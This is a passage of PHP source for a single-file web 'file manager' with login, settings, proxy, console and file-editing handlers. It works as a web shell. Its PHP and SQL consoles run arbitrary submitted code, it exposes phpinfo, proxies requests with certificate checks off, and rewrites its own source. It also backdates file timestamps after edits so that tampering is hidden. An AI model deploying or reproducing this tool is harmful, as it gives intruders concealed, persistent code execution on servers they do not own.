    $sqlArray = explode($delimiter,$sqlFile);

	
    //Process the sql file by statements
                                     
    foreach ($sqlArray as $stmt) {

        if (strlen($stmt)>3){

		         	$result = $mysqldb->query($stmt);

		         		         if (!$result){

		         		         	$sqlErrorCode = mysqli_errno($mysqldb->connection);

		         		         	$sqlErrorText = mysqli_error($mysqldb->connection);
		         		         	$sqlStmt      = $stmt;

		         		         	break;

           	     }

           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

                                        
function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
                                   
}


                                      
function fm_home_style(){
                         
	return '

input, input.fm_input {
	text-indent: 2px;
}
                          

                          
input, textarea, select, input.fm_input {
                                     
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;
                                       
	background-color: #FCFCFC none !important;

	border-radius: 0;
                                 
	padding: 2px;

}



input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}
                                      


.home {
                        
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}



function fm_config_checkbox_row($name,$value) {

	global $fms_config;
                          
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
                         

                            
function fm_protocol() {
                                       
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];

}
                            


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);

}
                         

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}

function fm_run_input($lng) {
                          
	global $fms_config;
	$return = !empty($fms_config['enable_'.$lng.'_console']) ? 

	'

		         		         <form  method="post" action="'.fm_url().'" style="display:inline">
                          
		         		         <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

		         		         </form>

' : '';
	return $return;
}
                          


function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
                                 
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {

		         $link = substr_replace($link,fm_protocol(),0,2);
                           
	} elseif (substr($link,0,1)=='/') {

		         $link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {

		         $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		         //alles machen wunderschon
                                 
	} else {

		         $link = $host.$link;
	} 
                                        
	if ($matches[1]=='href' && !strripos($link, 'css')) {

		         $base = fm_site_url().'/'.basename(__FILE__);
                            
		         $baseq = $base.'?proxy=true&url=';
                           
		         $link = $baseq.urlencode($link);
                            
	} elseif (strripos($link, 'css')){

		         //§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
                              
	}

	return $matches[1].'="'.$link.'"';
                        
}

 

function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
                                     
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
                                        
		         $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
                                       
</form>
                           
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
                               
</form>

</table>

';

}
                         


function find_text_in_fileSet($dir, $mask, $text) {
                                  
    $results = array();

    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {

                $path = $dir . "/" . $entry;

                if (is_dir($path)) {

                    $results = array_merge($results, find_text_in_fileSet($path, $mask, $text));
                                   
                } else {

                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);

                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);

                        }
                    }

                }
                                  
            }
        }

        closedir($handle);

    }

    return $results;

}




/* End Functions */
                                  


// authorization
                                 
if ($auth_local['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){

		         if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) {

		         	setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization']));
		         	$_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']);

		         }

	}

	if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) {
		         echo '

<!doctype html>
<html>
<head>
<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />
                                 
<title>'.__('File manager').'</title>
                                
</head>

<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language).'
                                       
</body>
</html>
                                
';  
die();
                            
	}
	if (isset($_POST['quit'])) {

		         unset($_COOKIE[$auth_local['cookie_name']]);

		         setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization']));
		         header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
                                  
	}
                                
}



// Change config
if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		         unset($_COOKIE['fm_config']);
                              
		         setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization']));
                                        
		         header('Location: '.fm_url().'?fm_settings=true');

		         exit(0);
                                  
	}	elseif (isset($_POST['fm_config'])) { 

		         $fms_config = $_POST['fm_config'];

		         setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization']));
		         $_COOKIE['fm_config'] = serialize($fms_config);
		         $msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 

		         if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		         $fm_login = json_encode($_POST['fm_login']);
		         $fgc_check = file_get_contents(__FILE__);
		         $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);

		         if (!empty($matches[1])) {
		         	$filemtime = filemtime(__FILE__);
		         	$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check);
		         	if (file_put_contents(__FILE__, $replace)) {
                            
		         		         $msg .= __('File updated');
		         		         if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
		         		         if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
                            
		         		         $auth_local = $_POST['fm_login'];
                                        
		         	}
		         	else $msg .= __('Error occurred');
		         	if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		         }

	} elseif (isset($_POST['tpl_edited'])) { 
		         $lng_tpl = $_POST['tpl_edited'];

		         if (!empty($_POST[$lng_tpl.'_name'])) {
		         	$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		         } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

		         	$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		         }
		         if (!empty($fm_php)) {

		         	$fgc_check = file_get_contents(__FILE__);
		         	$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
		         	if (!empty($matches[1])) {

		         		         $filemtime = filemtime(__FILE__);

		         		         $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check);
		         		         if (file_put_contents(__FILE__, $replace)) {
		         		         	${$lng_tpl.'_templates'} = $fm_php;

		         		         	$msg .= __('File updated');

		         		         } else $msg .= __('Error occurred');

		         		         if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                             
		         	}	

		         } else $msg .= __('Error occurred');
                                
	}

}

                                        
// Just show image

if (isset($_GET['img'])) {
                             
	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){
                                  
		         switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

		         	case 1: $ext='gif'; break;
                                        
		         	case 2: $ext='jpeg'; break;

		         	case 3: $ext='png'; break;
		         	case 6: $ext='bmp'; break;
		         	default: die();
                            
		         }
		         header("Content-type: image/$ext");
                             
		         echo file_get_contents($file);
                              
		         die();

	}

}
                                  


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);
	fm_download($file);	

}



// Just show info
                                 
if (isset($_GET['phpinfo'])) {

	phpinfo(); 
	die();

}


                         
// Mini proxy, many bugs!
                                        
if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) {
                                   
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
                         
	<input type="hidden" name="proxy" value="true">
                                 
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {
                                 
		         $ch = curl_init($url);

		         curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		         curl_setopt($ch, CURLOPT_HEADER, 0);

		         curl_setopt($ch, CURLOPT_REFERER, $url);
                            
		         curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		         $result = curl_exec($ch);

		         curl_close($ch);

		         //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		         $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		         $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		         echo $result;
                            
		         die();

	} 

}
?>
<!doctype html>

<html>
<head>     

	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />

    <title><?=__('File manager')?></title>
<style>

body {

	background-color:	white;
                               
	font-family:		         Verdana, Arial, Helvetica, sans-serif;
	font-size:		         	8pt;
                                   
	margin:		         		         0px;
}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

                               
table.bg {

	background-color: #ACBBC6

}
                        


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:		         		         25px;

	background-color:	#006699;

	color:		         		         #FFA34F;
                         
	font-weight:		         bold;
                               
	font-size:		         	11px;

}



.row1 {
	background-color:	#EFEFEF;

}



.row2 {

	background-color:	#DEE3E7;
                                   
}

                                        
.row3 {
	background-color:	#D1D7DC;
                            
	padding: 5px;
                                  
}


                                  
tr.row1:hover {

	background-color:	#F3FCFC;

}


                                    
tr.row2:hover {

	background-color:	#F0F6F6;
}
                                


.whole {

	width: 100%;

}


                                        
.all tbody td:first-child{width:100%;}



textarea {
                           
	font: 9pt 'Courier New', courier;

	line-height: 125%;
	padding: 5px;
                                        
}

                               
.textarea_input {

	height: 1em;

}
                                


.textarea_input:focus {
                          
	height: auto;

}


input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}
                        


.folder {

    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayC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yijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
                                    
}
                                        

.file {
                            
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKay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jRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}

<?=fm_home_style()?>
                                       
.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

    #fm_table td{display:inline;float:left;}

    #fm_table tbody td:first-child{width:100%;padding:0;}

    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
                                     
	#header_table table td {display:inline;float:left;}

}

</style>

</head>
                                      
<body>
<?php

$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fms_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fms_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 
if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">
                                        
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_myfile').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
                              
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
                                     
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fms_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fms_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fms_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fms_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
                                       
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
                                        
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>
                           
</table>
<table>

<form method="post" action="">
                                        
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_local['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_local['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_local['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_local['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
                           
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_local['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_local['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>
</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {
                                 
	die($proxy_form);

} elseif (isset($res_lng)) {	
?>

<table class="whole">

<tr>
    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                  
<tr>

    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
                              
	if($res_lng=='sql') echo ' - Database: '.$fms_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');
                                  
	?></td></tr></table></td>
</tr>
                                       
<tr>
                         
    <td class="row1">
                               
		         <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		         <form action="" method="POST" name="console">

		         <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		         <input type="reset" value="<?=__('Reset')?>">
                         
		         <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php

$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
                                      
	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){
		         $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
                                  
	}
	$select .= "</select>\n";

	echo $select;

}

?>
                         
		         </form>

	</td>
                                
</tr>

</table>
<?php

	if (!empty($res)) {

		         $fun='fm_'.$res_lng;
                                  
		         echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
                                   
	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		         $fn = $path . $_REQUEST['edit'];
                                        
		         $filemtime = filemtime($fn);

	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');

		         else $msg .= __('Error occurred');
		         if ($_GET['edit']==basename(__FILE__)) {

		         	touch(__FILE__,1415116371);
		         } else {

		         	if (!empty($fms_config['restore_time'])) touch($fn,$filemtime);

		         }
	}

    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
                                   
    $backlink = $url_inc . '&path=' . $path;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>

    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
                                    
</tr>

<tr>

    <td class="row1">
        <?=$msg?>

	</td>
</tr>

<tr>

    <td class="row1">

